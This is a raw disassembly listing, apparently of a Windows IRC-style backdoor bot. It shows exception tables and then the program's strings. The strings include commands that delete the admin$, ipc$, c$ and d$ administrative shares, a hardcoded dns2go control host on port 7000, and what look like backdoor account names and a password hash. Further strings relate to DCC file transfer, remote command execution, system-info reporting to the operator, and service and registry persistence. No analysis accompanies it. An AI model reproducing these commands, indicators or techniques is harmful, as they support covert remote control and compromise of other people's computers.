dword_440C18 dd 19930520h, 4, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A8F0h, 0
dd offset loc_43A8FB
dd 1, 43A906h, 2, 43A911h, 2 dup(0)
dword_440C60 dd 19930520h, 4, 440C80h, 5 dup(0) dd 0FFFFFFFFh, 43A940h, 0
dd offset loc_43A94B
dd 1, 43A956h, 2, 43A961h, 2 dup(0)
dword_440CA8 dd 19930520h, 6, 440CC8h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 0
dd offset loc_43A99B
dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0)
dword_440D00 dd 19930520h, 4, 440D20h, 5 dup(0) dd 0FFFFFFFFh, 43AA00h, 0
dd offset loc_43AA0E
dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0)
dword_440D48 dd 19930520h, 5, 440D68h, 5 dup(0) dd 0FFFFFFFFh, 43AA60h, 0
dd offset loc_43AA6B
dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0)
dword_440D98 dd 19930520h, 5, 440DB8h, 5 dup(0) dd 0FFFFFFFFh, 43AAC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0AAh, 43h, 0
dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0)
dword_440DE8 dd 19930520h, 1, 440E08h, 5 dup(0) dd 0FFFFFFFFh, 43AB20h, 2 dup(0)
dword_440E18 dd 19930520h, 1, 440E38h, 5 dup(0) dd 0FFFFFFFFh, 43AB40h, 2 dup(0)
dword_440E48 dd 19930520h, 1, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB60h, 2 dup(0)
dword_440E78 dd 19930520h, 2, 440E98h, 5 dup(0) dd 0FFFFFFFFh, 43AB80h, 0
dd offset loc_43AB8B
align 10h
dword_440EB0 dd 19930520h, 4, 440ED0h, 5 dup(0) dd 0FFFFFFFFh, 43ABB0h, 0
dd offset loc_43ABBB
dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0)
dword_440EF8 dd 19930520h, 1, 440F18h, 5 dup(0) dd 0FFFFFFFFh, 43AC00h, 2 dup(0)
dword_440F28 dd 19930520h, 2, 440F48h, 5 dup(0) dd 0FFFFFFFFh, 43AC20h, 0
dd offset loc_43AC2B
align 10h
dword_440F60 dd 19930520h, 1, 440F80h, 5 dup(0) dd 0FFFFFFFFh, 43AC50h, 2 dup(0)
dword_440F90 dd 19930520h, 1, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 2 dup(0)
dword_440FC0 dd 19930520h, 2, 440FE0h, 5 dup(0) dd 0FFFFFFFFh, 43AC90h, 0
dd offset loc_43AC9B
dd 2 dup(0)
dword_440FF8 dd 19930520h, 1, 441018h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 2 dup(0)
dword_441028 dd 19930520h, 3, 441048h, 5 dup(0) dd 0FFFFFFFFh, 43ACE0h, 0
dd offset loc_43ACF7
dd 1, 43ACFFh, 2 dup(0)
dword_441068 dd 19930520h, 1, 441088h, 5 dup(0) dd 0FFFFFFFFh, 43AD20h, 2 dup(0)
dword_441098 dd 19930520h, 4, 4410B8h, 5 dup(0) dd 0FFFFFFFFh, 43AD48h, 0
dd offset sub_43AD40
dd 0
dd offset loc_43AD5F
dd 2, 43AD67h, 2 dup(0)
dword_4410E0 dd 19930520h, 6, 441100h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0FFFFFFFFh, 43AD98h, 0FFFFFFFFh
dd 43ADA0h, 0FFFFFFFFh, 43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh
dd 43ADB8h, 2 dup(0)
dword_441138 dd 19930520h, 1Ah, 441158h, 5 dup(0) dd 0FFFFFFFFh, 43ADE0h, 0
dd offset loc_43ADEB
dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh
dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h
dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h
dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h
dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0)
dword_441240 dd 19930520h, 4, 441260h, 5 dup(0) dd 0FFFFFFFFh, 43AF70h, 0
dd offset loc_43AF78
dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0)
dword_441288 dd 19930520h, 4, 4412A8h, 5 dup(0) dd 0FFFFFFFFh, 43AFB0h, 0
dd offset loc_43AFB8
dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0)
dword_4412D0 dd 19930520h, 6, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 0
dd offset loc_43AFF8
dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0)
dword_441328 dd 19930520h, 6, 441348h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0
dd offset loc_43B058
dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0)
dword_441380 dd 19930520h, 6, 4413A0h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh
dd 43B0C6h, 2, 43B0D1h, 3, 43B0DCh, 2, 43B0E7h, 2 dup(0)
dword_4413D8 dd 19930520h, 3, 4413F8h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh
dd 43B120h, 2 dup(0)
dword_441418 dd 19930520h, 5, 441438h, 5 dup(0) dd 0FFFFFFFFh, 43B140h, 0FFFFFFFFh, 43B148h, 0FFFFFFFFh
dd 43B150h, 0FFFFFFFFh, 43B158h, 0FFFFFFFFh, 43B160h, 2 dup(0)
dword_441468 dd 19930520h, 0Ch, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B180h, 0
dd offset loc_43B188
dd 0FFFFFFFFh, 43B190h, 0FFFFFFFFh, 43B198h, 0FFFFFFFFh
dd 43B1A0h, 0FFFFFFFFh, 43B1A8h, 5, 43B1B0h, 0FFFFFFFFh
dd 43B1B8h, 0FFFFFFFFh, 43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh
dd 43B1D0h, 0FFFFFFFFh, 43B1D8h, 4 dup(0)
dword_4414F8 dd 19930520h, 2, 441518h, 1, 441528h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 441540h, 4 dup(0)
dd offset loc_41EE2C
dd 2 dup(0)
dword_441558 dd 19930520h, 0Ah, 441578h, 5 dup(0) dd 0FFFFFFFFh, 43B220h, 0
dd offset loc_43B22B
dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h
dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0)
dword_4415D8 dd 19930520h, 2, 4415F8h, 5 dup(0) dd 0FFFFFFFFh, 43B2C0h, 0
dd offset loc_43B2C8
align 10h
dword_441610 dd 19930520h, 3, 441630h, 5 dup(0) dd 0FFFFFFFFh, 43B2E0h, 0FFFFFFFFh, 43B2EBh, 1, 43B2F6h
dd 2 dup(0)
dword_441650 dd 19930520h, 1, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B320h, 2 dup(0)
dword_441680 dd 19930520h, 2, 4416A0h, 5 dup(0) dd 0FFFFFFFFh, 43B340h, 0
dd offset loc_43B34B
dd 2 dup(0)
dword_4416B8 dd 19930520h, 16h, 4416D8h, 5 dup(0) dd 0FFFFFFFFh, 43B370h, 0
dd offset loc_43B37B
dd 0
dd offset loc_43B383
dd 0
dd offset loc_43B38B
dd 3, 43B393h, 4, 43B39Bh, 0
dd offset loc_43B3A3
dd 6, 43B3ABh, 7, 43B3B3h, 0
dd offset loc_43B3BB
dd 9, 43B3C3h, 0Ah, 43B3CBh, 0
dd offset loc_43B3D3
dd 0Ch, 43B3DBh, 0Dh, 43B3E3h, 0
dd offset loc_43B3EB
dd 0Fh, 43B3F3h, 0
dd offset loc_43B3FB
dd 11h, 43B403h, 0
dd offset loc_43B40B
dd 13h, 43B413h, 13h, 43B41Bh, 6 dup(0)
dword_4417A0 dd 19930520h, 1, 4417C0h, 5 dup(0) dd 0FFFFFFFFh, 43B460h, 2 dup(0)
dword_4417D0 dd 19930520h, 1, 4417F0h, 5 dup(0) dd 0FFFFFFFFh, 43B490h, 2 dup(0)
dword_441800 dd 19930520h, 5, 441820h, 5 dup(0) dd 0FFFFFFFFh, 43B4C0h, 0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh
dd 43B4D0h, 0FFFFFFFFh, 43B4D8h, 0FFFFFFFFh, 43B4E0h, 2 dup(0)
dword_441850 dd 19930520h, 0Bh, 441870h, 5 dup(0) dd 0FFFFFFFFh, 43B500h, 0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh
dd 43B521h, 0FFFFFFFFh, 43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh
dd 43B542h, 0FFFFFFFFh, 43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh
dd 43B563h, 0FFFFFFFFh, 43B56Eh, 0FFFFFFFFh, 43B516h, 4 dup(0)
dword_4418D8 dd 19930520h, 5, 4418F8h, 5 dup(0) dd 0FFFFFFFFh, 43B5B0h, 0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh
dd 43B5C0h, 0FFFFFFFFh, 43B5C8h, 0FFFFFFFFh, 43B5D0h, 2 dup(0)
dword_441928 dd 19930520h, 15h, 441948h, 5 dup(0) dd 0FFFFFFFFh, 43B5F0h, 0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh
dd 43B603h, 0FFFFFFFFh, 43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh
dd 43B61Bh, 0FFFFFFFFh, 43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh
dd 43B636h, 0FFFFFFFFh, 43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh
dd 43B651h, 0FFFFFFFFh, 43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh
dd 43B669h, 0FFFFFFFFh, 43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh
dd 43B684h, 0FFFFFFFFh, 43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh
dd 43B69Ch, 6 dup(0)
dword_441A08 dd 19930520h, 1, 441A28h, 5 dup(0) dd 0FFFFFFFFh, 43B6E0h, 2 dup(0)
dword_441A38 dd 19930520h, 5, 441A58h, 5 dup(0) dd 0FFFFFFFFh, 43B700h, 0
dd offset loc_43B708
dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0)
dword_441A88 dd 19930520h, 5, 441AA8h, 5 dup(0) dd 0FFFFFFFFh, 43B750h, 0
dd offset loc_43B758
dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0)
dword_441AD8 dd 19930520h, 1, 441AF8h, 5 dup(0) dd 0FFFFFFFFh, 43B7A0h, 2 dup(0)
dword_441B08 dd 19930520h, 1, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43B7C0h, 2 dup(0)
dword_441B38 dd 19930520h, 1, 441B58h, 5 dup(0) dd 0FFFFFFFFh, 43B7E0h, 2 dup(0)
dword_441B68 dd 19930520h, 1, 441B88h, 5 dup(0) dd 0FFFFFFFFh, 43B800h, 2 dup(0)
dword_441B98 dd 19930520h, 1, 441BB8h, 5 dup(0) dd 0FFFFFFFFh, 43B820h, 2 dup(0)
dword_441BC8 dd 19930520h, 1, 441BE8h, 5 dup(0) dd 0FFFFFFFFh, 43B840h, 2 dup(0)
dword_441BF8 dd 19930520h, 1, 441C18h, 5 dup(0) dd 0FFFFFFFFh, 43B860h, 2 dup(0)
dword_441C28 dd 19930520h, 1, 441C48h, 5 dup(0) dd 0FFFFFFFFh, 43B880h, 2 dup(0)
dword_441C58 dd 19930520h, 6, 441C78h, 5 dup(0) dd 0FFFFFFFFh, 43B8A0h, 0
dd offset loc_43B8A8
dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0)
dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43B900h, 0
dd offset loc_43B908
dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0)
dword_441D08 dd 19930520h, 3, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43B960h, 0
dd offset loc_43B968
dd 1, 43B976h, 2 dup(0)
dword_441D48 dd 19930520h, 16h, 441D68h, 5 dup(0) dd 0FFFFFFFFh, 43B9A0h, 0
dd offset loc_43B9AB
dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h
dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah
dd 43BA19h, 2, 43BA24h, 0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh
dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh, 0Fh, 43BA66h, 0Fh
dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h, 6 dup(0)
dword_441E30 dd 19930520h, 1, 441E50h, 5 dup(0) dd 0FFFFFFFFh, 43BAE0h, 2 dup(0)
dword_441E60 dd 19930520h, 1, 441E80h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 2 dup(0)
dword_441E90 dd 19930520h, 1, 441EB0h, 5 dup(0) dd 0FFFFFFFFh, 43BB20h, 2 dup(0)
dword_441EC0 dd 19930520h, 1, 441EE0h, 5 dup(0) dd 0FFFFFFFFh, 43BB40h, 2 dup(0)
dword_441EF0 dd 19930520h, 1, 441F10h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0)
dword_441F20 dd 19930520h, 2, 441F40h, 1, 441F50h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 441F68h, 4 dup(0)
dd offset loc_42AF54
align 10h
dword_441F80 dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 441FC8h, 4 dup(0)
dd offset loc_42B031
align 10h
dword_441FE0 dd 19930520h, 3, 442000h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 0
dd offset loc_43BBA8
dd 1, 43BBB0h, 2 dup(0)
dword_442020 dd 19930520h, 1, 442040h, 5 dup(0) dd 0FFFFFFFFh, 43BBE0h, 2 dup(0)
dword_442050 dd 19930520h, 1, 442070h, 5 dup(0) dd 0FFFFFFFFh, 43BC00h, 2 dup(0)
dword_442080 dd 19930520h, 1, 4420A0h, 5 dup(0) dd 0FFFFFFFFh, 43BC20h, 2 dup(0)
dword_4420B0 dd 19930520h, 1, 4420D0h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 2 dup(0)
dword_4420E0 dd 19930520h, 1, 442100h, 5 dup(0) dd 0FFFFFFFFh, 43BC60h, 2 dup(0)
dword_442110 dd 19930520h, 6, 442130h, 5 dup(0) dd 0FFFFFFFFh, 43BC80h, 0FFFFFFFFh, 43BC88h, 0FFFFFFFFh
dd 43BC90h, 0FFFFFFFFh, 43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh
dd 43BCA8h, 2 dup(0)
dword_442168 dd 19930520h, 16h, 442188h, 5 dup(0) dd 0FFFFFFFFh, 43BCD0h, 0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh
dd 43BCE3h, 0FFFFFFFFh, 43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh
dd 43BCFEh, 0FFFFFFFFh, 43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh
dd 43BD16h, 0FFFFFFFFh, 43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh
dd 43BD31h, 0FFFFFFFFh, 43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh
dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch, 0Eh, 43BD64h, 0Eh
dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch, 0Eh, 43BD7Ch, 6 dup(0)
dword_442250 dd 19930520h, 2, 442270h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0FFFFFFFFh, 43BDC8h, 2 dup(0)
dword_442288 dd 19930520h, 2, 4422A8h, 5 dup(0) dd 0FFFFFFFFh, 43BDE0h, 0
dd offset loc_43BDEB
align 10h
dword_4422C0 dd 19930520h, 1, 4422E0h, 5 dup(0) dd 0FFFFFFFFh, 43BE10h, 2 dup(0)
dword_4422F0 dd 19930520h, 2, 442310h, 5 dup(0) dd 0FFFFFFFFh, 43BE30h, 0FFFFFFFFh, 43BE38h, 2 dup(0)
dword_442328 dd 19930520h, 0Ah, 442348h, 5 dup(0) dd 0FFFFFFFFh, 43BE50h, 0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh
dd 43BE66h, 0FFFFFFFFh, 43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh
dd 43BE87h, 0FFFFFFFFh, 43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh
dd 43BEA8h, 0FFFFFFFFh, 43BEB3h, 35Bh dup(0)
dd offset aRrrrrrrrrrrrrr+1Fh
dd 106h dup(0)
aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
; DATA XREF: sub_4034E0+7Fo
db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
align 4
dd 8 dup(0)
asc_4435EC: ; DATA XREF: sub_4034E0+66o
; sub_40FF60:loc_41083Eo ...
unicode 0, <|>,0
aS db '%s',0 ; DATA XREF: sub_404C70+875o
; sub_404C70+AF1o ...
align 4
aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404C70+831o
; sub_404C70+B5Eo ...
align 10h
asc_443600: ; DATA XREF: sub_404640:loc_40471Fo
; sub_404640+1EDo ...
unicode 0, < >,0
aO db ' -o',0 ; DATA XREF: sub_404640+75o
; sub_40FF60:loc_410949o ...
aNetShareAdminD db 'net share admin$ /delete /y',0
dd 2 dup(0)
aNetShareIpcDel db 'net share ipc$ /delete /y',0
align 4
dd 0
aNetShareDDelet db 'net share d$ /delete /y',0
align 8
aNetShareCDelet db 'net share c$ /delete /y',0
dd 0
dword_443684 dd 255C7325h, 73h ; sub_40CF60+DEo ...
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o
align 8
aN: ; DATA XREF: sub_404C70+D23o
unicode 0, <N>,0
aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404C70+977o
align 4
aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo
align 10h
dd 0
aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404C70+6D2o
align 10h
aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404C70+613o
align 10h
dd 0
aOpen db 'open',0 ; DATA XREF: sub_404C70+447o
; sub_41C030+Eo
align 4
aExec_error db 'exec.error',0 ; DATA XREF: sub_404C70+1A3o
; sub_404C70+9B1o ...
align 4
dd 0
aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_4066E0+C3o
align 10h
aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
; DATA XREF: sub_406890+20Fo
db 'me: %dd %dh %dm box: %s. user: %s.',0
dd 5 dup(0)
aSS_2 db '%s [%s]',0 ; DATA XREF: sub_406890+125o
dd 0
a??? db '???',0 ; DATA XREF: sub_406890:loc_40698Bo
a2003 db '2003',0 ; DATA XREF: sub_406890+F4o
align 10h
aXp db 'XP',0 ; DATA XREF: sub_406890+EAo
align 4
a2000 db '2000',0 ; DATA XREF: sub_406890+DEo
align 4
aMe db 'ME',0 ; DATA XREF: sub_406890+C7o
align 10h
a98 db '98',0 ; DATA XREF: sub_406890+BBo
align 4
aNt db 'NT',0 ; DATA XREF: sub_406890+AFo
align 4
a95 db '95',0 ; DATA XREF: sub_406890+9Co
align 4
aBai db '-bai',0 ; DATA XREF: ___:loc_406DEDo
; ___:00406E35o
align 4
aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406DB0o
; sub_40EC30+88o
align 10h
aUpdate db '-update',0 ; DATA XREF: ___:00406D73o
dd 0
dword_4437EC dd 6265642Dh, 6775hdword_4437F4 dd 6425h ; ___:004086D8o ...
dword_4437F8 dd 40h ; sub_40FF60+7CCo ...
aHotfix db 'hotfix',0 ; DATA XREF: sub_407790+394o
align 4
aTsinternetuser db 'TsInternetUser',0 ; DATA XREF: sub_407790+383o
align 8
aAdmin_com db 'admin.com',0 ; DATA XREF: sub_407790+372o
align 4
aE10adc3949ba59 db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+361o
align 4
dd 0
aAbosal7 db 'abosal7',0 ; DATA XREF: sub_407790+350o
align 8
aTahy db 'TAHY-',0 ; DATA XREF: sub_407790+342o
align 10h
aWintwir db 'wintwir',0 ; DATA XREF: sub_407790+331o
dd 0
aMsnnmaneger_ex db 'msnnmaneger.exe',0 ; DATA XREF: sub_407790+320o
align 10h
aServec db 'servec',0 ; DATA XREF: sub_407790+30Fo
align 4
aS_1 db '#s',0 ; DATA XREF: sub_407790+2FEo
align 4
aScop db '#scop#',0 ; DATA XREF: sub_407790+2EDo
align 4
aSaad db 'saad',0 ; DATA XREF: sub_407790+2A9o
; sub_407790+2DCo
align 4
a7000 db '7000',0 ; DATA XREF: sub_407790+298o
; sub_407790+2CBo
align 4
aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o
; sub_407790+2BAo
align 10h
off_4438C0 dd offset off_43E1D4 ; DATA XREF: ___:0043F00Co
align 8
a_?avexception@ db '.?AVexception@@',0
align 10h
off_4438E0 dd offset off_43E1D4 ; DATA XREF: ___:0043F02Co
align 8
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 10h
dd 2 dup(0)
off_443908 dd offset off_43E1D4 ; DATA XREF: ___:0043F04Co
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 10h
aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o
; ___:0040A971o
dd 2 dup(0)
aTrue db 'true',0 ; DATA XREF: sub_40B680+3Fo
; sub_40B700+43o ...
align 4
aF db '%f',0 ; DATA XREF: ___:0040B79Fo
align 10h
aFalse db 'false',0 ; DATA XREF: ___:0040B844o
align 4
aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao
align 10h
dd 0
aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BA77o
align 10h
aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o
dd 0
aCvar db '(cvar)',0 ; DATA XREF: ___:0040B924o
align 4
aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao
align 4
dd 0
aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0
; DATA XREF: sub_40C400+48Ao
align 10h
aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o
align 10h
aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C400+327o
align 10h
dword_443A30 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40C400+296o
dd 169h, 0
aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o
align 4
dd 0
aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o
align 8
aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo
align 8
aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o
align 8
aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o
align 10h
aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CBB0+1B1o
dd 0
asc_443B04: ; DATA XREF: sub_40CBB0+113o
; sub_4200F0+100o
unicode 0, <\>,0
aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40CF60+115o
align 4
aS_2 db '%s\*',0 ; DATA XREF: sub_40CF60+1Fo
align 10h
aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D479o
align 10h
aBai_0 db ' -bai ',0
align 4
aSCS db '%s%c%s',0
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D580+D1o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D580+C4o
align 10h
dd 0
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o
align 10h
dd 0
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo
align 10h
aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D580+98o
align 10h
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo
align 4
dd 0
aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DB40+381o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah,0
align 4
dd 2 dup(0)
aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40ED70+6Ao
align 8
aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40ED70+21o
; sub_40EF90+Ao ...
align 4
dd 0
aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F441o
align 10h
aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o
align 10h
dd 0
aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F289o
align 8
aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo
align 10h
dd 0
asc_443C84 db ' :',0 ; DATA XREF: sub_40FF60+E2Bo
; sub_40FF60+1118o ...
align 4
asc_443C88: ; DATA XREF: sub_40FF60+CACo
; sub_40FF60+D15o ...
unicode 0, <!>,0
aN_0 db ' -n',0 ; DATA XREF: sub_40FF60:loc_410928o
; sub_40FF60:loc_410BB7o
aS_3 db ' -s',0 ; DATA XREF: sub_40FF60:loc_4108FFo
; sub_40FF60:loc_410B96o
asc_443C94: ; DATA XREF: sub_40FF60+871o
; sub_40FF60:loc_410BD8o ...
unicode 0, <:>,0
aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do
; sub_40FF60+732o ...
align 8
aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_40FF60+355o
db '%s %s 0 0 :%s',0Dh,0Ah,0
align 10h
dd 0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40FF60+2C4o
; sub_4126B0+91o ...
dd 0
dword_443CD4 dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CE4 dd 0A0D7325h, 0 ; sub_42D1A0+71o
dword_443CEC dd 25207325h, 253A2073h, 0A0D73h, 0 ; sub_412970+8Fo
dword_443CFC dd 4255505Bh, 5D43494Ch, 0dword_443D08 dd 4952505Bh, 45544156h, 5Dhdword_443D14 dd 202Eh ; sub_4126B0+E5o
dword_443D18 dd 3A6E616Ch, 20haUptime db 'uptime',0 ; DATA XREF: ___:loc_412F27o
align 4
aHost db 'host',0 ; DATA XREF: ___:loc_412ED4o
align 10h
aId db 'id',0 ; DATA XREF: ___:loc_412E7Ao
align 4
asc_443D34: ; DATA XREF: ___:loc_412E63o
dw 3Ch
unicode 0, <>,0
asc_443D38: ; DATA XREF: ___:loc_412E4Co
dw 3Eh
unicode 0, <>,0
asc_443D3C db '==',0 ; DATA XREF: ___:loc_412E35o
align 10h
asc_443D40 db '!=',0 ; DATA XREF: ___:00412E21o
align 4
a2_2x db '%2.2X',0 ; DATA XREF: sub_4137E0+B7o
align 4
aSS_6 db '%s: %s',0 ; DATA XREF: sub_4192C0+312o
align 4
aSD_0 db '%s: %d',0 ; DATA XREF: sub_4192C0+2EAo
align 4
aSD_1 db '%s:%d',0 ; DATA XREF: sub_4192C0+272o
; sub_4192C0+297o
align 4
aListening db 'listening',0 ; DATA XREF: sub_4192C0+210o
align 10h
aEstablished db 'established',0 ; DATA XREF: sub_4192C0+205o
align 10h
off_443D80 dd offset dword_504354 ; DATA XREF: sub_4192C0+140o
; ___:0042B302o ...
dword_443D84 dd 2D464544h, 504354h, 0 ; sub_4192C0+12Eo
dword_443D90 dd 652Dh dword_443D94 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o
align 10h
